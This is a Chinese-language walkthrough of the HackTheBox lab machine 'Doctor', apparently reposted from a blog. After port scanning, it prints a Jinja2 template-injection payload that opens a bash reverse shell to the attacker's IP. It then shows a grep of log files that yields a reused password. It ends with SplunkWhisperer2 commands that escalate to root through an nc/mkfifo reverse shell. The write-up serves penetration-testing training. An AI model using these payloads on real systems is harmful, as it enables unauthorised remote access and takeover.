HTB-靶机-Doctor

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.209

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.209 -o ./Doctor-autorecon

masscan -p1-65535 10.10.10.209 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.209
sudo nmap -sS -sV -T4 -O -A -v 10.10.10.209

nmap自动探测工具
https://github.com/21y4d/nmapAutomator

爆破目录新工具
https://github.com/phra/rustbuster

开放了3个端口,先访问80端口,并追加hosts文件

追加hosts文件
sudo -- sh -c "echo '10.10.10.209 doctors.htb' >> /etc/hosts"

随手注册一个账号cntf,密码也是这个,邮箱是cntf@qq.com

注册完成之后登录进去发现一个New Message

通过测试点击这个New Message功能,发现存在SSTI模板注入漏洞,可参考:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection

注入完成触发漏洞在访问的页面上查看网页源代码发现可以通过访问http://doctors.htb/archive 来触发验证漏洞是否成功执行

在New Message功能处插入反弹shell代码,下面一行随便写

 

对应反弹shell的代码
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1'").read()}}{%endif%}{%endfor%}

成功反弹shell,查看home目录有两个用户,一个是web,另一个是shaun ,然后执行了一把id命令

发现用户web隶属于adm组,属于此组的用户用于系统监控并对/var/log目录下的文件进行监控,过滤查询下password关键字

grep -R -e 'password' /var/log/

得到下面结果
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

使用上面重置密码功能所使用的email参数当作密码试试

搜集下目标靶机上的信息,最终发现开放8089端口的splunk服务是root权限运行,同时也知道此端口可以开启转发器,具体可参考:

https://community.splunk.com/t5/Getting-Data-In/Can-someone-please-explain-to-me-why-Splunk-Universal-Forwarder/m-p/180067

可以通过劫持操作完成提权root用户参考:https://airman604.medium.com/splunk-universal-forwarder-hijacking-5899c3e0e6b2

对应的exploit代码:

https://github.com/cnotin/SplunkWhisperer2

相关验证测试操作

git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2/PySplunkWhispherer2
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --payload id
上述利用不成功,因为没有一个有效的账号和密码

验证测试是否能够正常利用
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload id

反弹shell
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload  'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 8822 >/tmp/f'

nc -vlnp 8822
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14764694.html